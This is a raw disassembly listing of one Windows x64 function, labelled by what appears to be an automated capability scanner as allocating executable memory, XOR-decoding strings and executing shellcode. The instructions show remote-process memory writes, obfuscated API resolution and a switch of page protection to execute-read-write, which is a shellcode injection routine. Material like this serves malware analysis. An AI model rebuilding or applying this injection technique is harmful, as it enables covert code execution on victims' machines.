Function at 0x18001b800
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2c8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
mov r14, rdx
xor r13d, r13d
mov r12, qword [rcx + 0x18]
lea rax, [r12 - 1]
cmp rax, 0xfffffffffffffffd
ja 0x18001cba1
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rdx + 0x10]
xor edx, edx
mov rcx, r12
call fcn.180014500
mov rsi, rax
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x18001b8bc
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001b8b2
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001b8ad
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc19
mov rcx, r8
call fcn.1800b98ec
mov eax, 0xbb9
jmp 0x18001cbdc
mov rdi, qword [r14 + 0x10]
mov rbx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x18001b8cd
mov rbx, qword [r14]
mov rax, qword [0x1803607d8]
cmp dword [rax + 0x30], 0
je 0x18001b94d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp r12, rax
je 0x18001b8f4
test r12, 0xffffffffa0000000
je 0x18001b8f4
test r12b, 3
je 0x18001b90b
mov qword [rsp + 0x20], r13
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, r12
call qword [0x180360a08]
mov qword [rbp], r13
mov qword [rbp + 0x28], r13
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
mov qword [rbp + 0x48], 0x25
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x30], rdi
mov qword [rbp + 0x20], r13
lea rdx, [rbp]
mov ecx, recv
call fcn.180026070
mov dword [0x180360ae8], eax
jmp 0x18001b964
mov qword [rsp + 0x20], r13
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
sete al
test al, al
jne 0x18001b9c6
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r12
call fcn.180019880
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001b9bc
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001b9b7
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc19
mov rcx, r8
call fcn.1800b98ec
mov eax, 0xbba
jmp 0x18001cbdc
mov r15, r13
mov qword [rsp + 0x78], r13
mov rax, qword [0x1803607d8]
cmp dword [rax + 0x20], 1
jne 0x18001c0e0
mov edi, 0xbbb
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x80]
call fcn.18009ec00
nop
mov r13, qword [rbp - 0x80]
cmp r13, qword [rbp - 0x78]
je 0x18001bfe2
lea rdi, [r13 + 0x30]
xor ecx, ecx
mov ebx, reloc.WS2_32.dll_WSAStartup
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rcx
lea rdx, [rdi + 0x200]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x18001ba30
lea rcx, [rbp - 0x20]
call fcn.180006af0
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x58]
call fcn.18009d170
nop
movups xmm0, xmmword [str._MFBRU_n_b_]
movups xmmword [rsp + 0x30], xmm0
movzx eax, word [0x180157be8]
mov word [rsp + 0x30], bx
xor word [rsp + 0x32], 0x34
xor word [rsp + 0x34], 0x35
xor word [rsp + 0x36], 0x36
xor word [rsp + 0x38], 0x37
xor word [rsp + 0x3a], 0x38
xor word [rsp + 0x3c], 0x39
xor word [rsp + 0x3e], 0x3a
xor ax, 0x3b
mov word [rsp + 0x40], ax
lea rcx, [rsp + 0x30]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x18001bab0
lea rcx, [rsp + 0x58]
mov rsi, qword [rsp + 0x70]
cmp rsi, 8
setae r15b
mov rbx, qword [rsp + 0x58]
cmovae rcx, rbx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
call fcn.180013290
cmp rax, 0xffffffffffffffff
je 0x18001bb30
test r15b, r15b
je 0x18001bfa8
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x18001bb28
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc25
mov rcx, rbx
jmp 0x18001bfa3
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xor ebx, ebx
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdi + r8*2], bx
jne 0x18001bb50
mov rdx, rdi
lea rcx, [rbp + 0x50]
call fcn.180006af0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x70]
call fcn.18009d170
nop
movups xmm3, xmmword [str.XQGXRT_n_b]
movups xmmword [rbp - 0x40], xmm3
movsd xmm0, qword [0x180157c00]
movsd qword [rbp - 0x30], xmm0
movzx eax, word [0x180157c08]
mov word [rbp - 0x28], ax
mov ecx, ebx
mov r15d, dword [reloc.WS2_32.dll_accept]
mov r10d, 5
lea r11d, [r10 + 0x1a]
cmp r15d, 2
jl 0x18001bca0
movdqa xmm4, xmmword [0x18015bfa0]
movd xmm6, r10d
movd xmm5, r11d
movdqa xmm2, xmmword [0x18015bd50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bde0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.3333333344444444]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp - 0x40], xmm2
movdqa xmm3, xmmword [0x18015bd60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bde0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.3333333344444444]
movq xmm0, qword [rbp - 0x38]
xorps xmm2, xmm0
movq qword [rbp - 0x38], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rbp - 0x40]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x39
movzx eax, cx
sub ax, dx
add ax, 0x33
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0xd
jl 0x18001bcb0
lea rcx, [rbp - 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x18001bcf0
lea r8, [rbp + 0x70]
mov rsi, qword [rbp + 0x88]
cmp rsi, 8
setae r9b
mov rbx, qword [rbp + 0x70]
cmovae r8, rbx
mov rdx, qword [rbp + 0x80]
cmp rdx, rax
jne 0x18001bf2b
lea rcx, [rbp - 0x40]
test rdx, rdx
je 0x18001bd58
lea rax, [rbp - 0x40]
sub r8, rax
nop word [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x18001bf2b
add rcx, 2
sub rdx, 1
jne 0x18001bd40
xor edi, edi
movsd xmm0, qword [0x180157bb8]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x180157bc0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x180157bc4]
mov byte [rsp + 0x3c], al
xor r8d, r8d
cmp r15d, 2
jl 0x18001be94
movdqa xmm4, xmmword [0x18015bfa0]
movd xmm6, r10d
movd xmm5, r11d
movdqa xmm2, xmmword [0x18015bd50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bde0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be70]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x18015be90]
movd xmm0, dword [0x180157bb8]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x18015bd60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bde0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be70]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x18015be90]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18001bea0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor eax, eax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x18001bef0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.180006d10
lea rdx, [r13 + 0x230]
lea rcx, [rbp - 0x20]
call fcn.1800a0650
test eax, eax
je 0x18001c037
mov r15d, eax
add r15, qword [r13 + 0x18]
jmp 0x18001c041
test r9b, r9b
je 0x18001bf66
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x18001bf5d
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc1f
mov rcx, rbx
call fcn.1800b98ec
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x18001bfa8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001bfa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc25
call fcn.1800b98ec
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], cx
add r13, 0x438
add rdi, 0x438
cmp r13, qword [rbp - 0x78]
jne 0x18001ba09
mov edi, 0xbbb
mov rsi, qword [rsp + 0x48]
mov r15d, ecx
xor r13d, r13d
lea rcx, [rbp - 0x80]
call fcn.180012d80
test edi, edi
je 0x18001c4ad
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001c030
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001c02b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc19
mov rcx, r8
call fcn.1800b98ec
mov eax, edi
jmp 0x18001cbdc
mov edi, 0xbbc
mov r15, qword [rsp + 0x78]
cmp rsi, 8
jb 0x18001c07d
lea rdx, [rsi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x18001c074
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc1f
mov rcx, rbx
call fcn.1800b98ec
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x18001c0bf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c0ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc25
call fcn.1800b98ec
xor r13d, r13d
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r13w
mov rsi, qword [rsp + 0x48]
jmp 0x18001bfe5
movsd xmm0, qword [str.xQGXRT_n_b]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x180157bd0]
mov dword [rsp + 0x38], eax
movzx eax, byte [0x180157bd4]
mov byte [rsp + 0x3c], al
mov r8d, r13d
mov edi, 5
lea r15d, [rdi + 0x1a]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x18001c22d
movdqa xmm4, xmmword [0x18015bfa0]
movd xmm6, edi
movd xmm5, r15d
movdqa xmm2, xmmword [0x18015bd50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bde0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be70]
packuswb xmm2, xmm2
mov eax, dword [0x18015be90]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.xQGXRT_n_b]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x18015bd60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bde0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18001c240
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r10, rax
test rax, rax
jne 0x18001c2ca
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001c2c0
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001c2bb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc19
mov rcx, r8
call fcn.1800b98ec
mov eax, 0xbbb
jmp 0x18001cbdc
movsd xmm0, qword [0x180157bb8]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [0x180157bc0]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x180157bc4]
mov byte [rsp + 0x54], al
mov r8d, r13d
cmp ebx, 2
jl 0x18001c408
movdqa xmm4, xmmword [0x18015bfa0]
movd xmm6, edi
movd xmm5, r15d
movdqa xmm2, xmmword [0x18015bd50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bde0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be70]
packuswb xmm2, xmm2
mov eax, dword [0x18015be90]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x180157bb8]
xorps xmm2, xmm0
movd dword [rsp + 0x48], xmm2
movdqa xmm3, xmmword [0x18015bd60]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x18015bde0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x18015be70]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x4c]
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x18001c420
lea rdx, [rsp + 0x48]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
jne 0x18001c4ad
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001c4a3
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001c49e
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc19
mov rcx, r8
call fcn.1800b98ec
mov eax, 0xbbc
jmp 0x18001cbdc
mov r8, rsi
mov rdx, r15
mov rcx, r12
call fcn.180013130
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rsi
mov rcx, r12
call fcn.180019880
mov rdi, qword [r14 + 0x10]
mov rbx, r14
mov rsi, qword [r14 + 0x18]
cmp rsi, 0x10
jb 0x18001c4ee
mov rbx, qword [r14]
test rdi, rdi
je 0x18001c58a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0xed]
call fcn.1800bc4e0
mov byte [rbp + 0xec], 1
lea rax, [rdi - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
jne 0x18001c585
nop dword [rax]
cmp rcx, rbx
je 0x18001c58a
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x90], 0
je 0x18001c570
sub rcx, rbx
jmp 0x18001c591
mov rcx, 0xffffffffffffffff
inc rcx
mov r8, rdi
sub r8, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
cmp rdi, rcx
jb 0x18001cc2b
mov rax, r14
cmp rsi, 0x10
jb 0x18001c5be
mov rax, qword [r14]
lea rdx, [rax + rcx]
lea rcx, [rbp - 0x60]
call fcn.180006d10
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r13, rax
movabs r11, 0x7fffffffffffffff
movabs r10, 0x7ffffffffffffffe
lea r15, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
setae r9b
cmovae r15, qword [rbp - 0x60]
add r15, qword [rbp - 0x50]
lea rdi, [rbp - 0x60]
test r9b, r9b
cmovne rdi, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
cmp rdi, r15
jne 0x18001c63c
xor r15d, r15d
mov qword [rbp - 0x70], r15
mov eax, 7
mov qword [rbp - 0x68], rax
mov word [rbp - 0x80], r15w
jmp 0x18001c737
mov rax, r15
sub rax, rdi
xor edx, edx
mov esi, edx
mov qword [rbp - 0x70], rdx
mov ebx, 7
mov qword [rbp - 0x68], rbx
cmp rax, r10
ja 0x18001cc13
cmp rax, 8
jb 0x18001c6f0
mov rbx, rax
or rbx, 7
cmp rbx, r10
jbe 0x18001c67b
mov rbx, r10
lea rcx, [r11 + r11]
jmp 0x18001c6a1
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, r11
ja 0x18001cc31
add rcx, rcx
cmp rcx, 0x1000
jb 0x18001c6d0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18001cc31
mov rcx, rax
call fcn.1800b98b0
mov rcx, rax
test rax, rax
je 0x18001cc3d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18001c6df
test rcx, rcx
je 0x18001c6dc
call fcn.1800b98b0
jmp 0x18001c6df
mov rax, rdx
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rbx
nop word [rax + rax]
lea rcx, [rbp - 0x80]
cmp rbx, 8
cmovae rcx, qword [rbp - 0x80]
movsx eax, byte [rdi]
mov word [rcx + rsi*2], ax
mov rsi, qword [rbp - 0x70]
inc rsi
mov qword [rbp - 0x70], rsi
inc rdi
cmp rdi, r15
je 0x18001c71d
mov rbx, qword [rbp - 0x68]
jmp 0x18001c6f0
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rax, qword [rbp - 0x80]
xor r15d, r15d
mov word [rax + rsi*2], r15w
mov rax, qword [rbp - 0x68]
lea rdx, [rbp - 0x80]
cmp rax, 8
cmovae rdx, qword [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x18001c760
lea rcx, [rsp + 0x58]
call fcn.180006af0
lea rax, [rsp + 0x58]
mov qword [rbp + 0x210], rax
mov rax, qword [0x1803607d8]
cmp dword [rax + 0x30], 0
setne r9b
mov ebx, dword [rax + 0x20]
cmp ebx, 2
sete r8b
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdx, qword [rsp + 0x58]
mov byte [rsp + 0x20], 0
mov rcx, r12
call fcn.18002b780
test rax, rax
jne 0x18001c7c2
mov rbx, r15
jmp 0x18001c7d9
mov rcx, rax
cmp ebx, 2
je 0x18001c7cf
mov ebx, dword [rax + 0x18]
jmp 0x18001c7d3
mov rbx, qword [rax + 0x30]
call fcn.1800c57fc
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x18001c81b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c816
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc37
call fcn.1800b98ec
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 7
mov word [rsp + 0x58], r15w
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x18001c86f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c86a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc3d
call fcn.1800b98ec
test rbx, rbx
jne 0x18001c92c
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, r13
cmp rax, 0x1388
jbe 0x18001c5e0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x18001c8c8
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001c8c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18001cc4f
call fcn.1800b98ec
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], send
mov byte [rbp - 0x60], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18001c912
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x18001c90d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18001cc19
mov rcx, r8
call fcn.1800b98ec
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], send
mov byte [r14], 0
mov eax, 0xbbd
jmp 0x18001cbec
mov rsi, qword [rbp + 0x220]
test rsi, rsi
je 0x18001cb08
mov rdi, qword [rbp + 0x228]
test rdi, rdi
je 0x18001cb08
mov qword [rsp + 0x30], rbx
mov dword [rbp + 0x210], r15d
mov qword [rsp + 0x78], rdi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [0x1803607d8]
cmp dword [rax + 0x30], 0
je 0x18001ca20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp r12, rax
je 0x18001c9f0
test r12, 0xffffffffa0000000
je 0x18001c9f0
test r12b, 3
jne 0x18001c9f0
mov qword [rbp], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x3c], 0
mov dword [rbp + 0x44], r15d
mov qword [rbp + 0x48], 0x25
mov qword [rbp + 8], r12
lea rax, [rsp + 0x48]
mov qword [rbp + 0x10], rax
lea rax, [rsp + 0x78]
mov qword [rbp + 0x20], rax
mov dword [rbp + 0x38], 0x40
lea rax, [rbp + 0x210]
mov qword [rbp + 0x28], rax
lea rdx, [rbp]
mov ecx, listen
call fcn.180026070
mov dword [0x180360ae8], eax
jmp 0x18001ca45
mov rax, qword [0x180360a28]
lea rcx, [rbp + 0x210]
mov qword [rsp + 0x20], rcx
mov r9d, 0x40
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
mov rcx, r12
call rax
mov dword [0x180360ae8], eax
jmp 0x18001ca45
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
mov rcx, r12
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
sete al
test al, al
je 0x18001ca69
mov r9, rdi
mov r8, rsi
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call fcn.180012e90
test al, al
jne 0x18001cb08
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x18001caa4
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18001ca9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
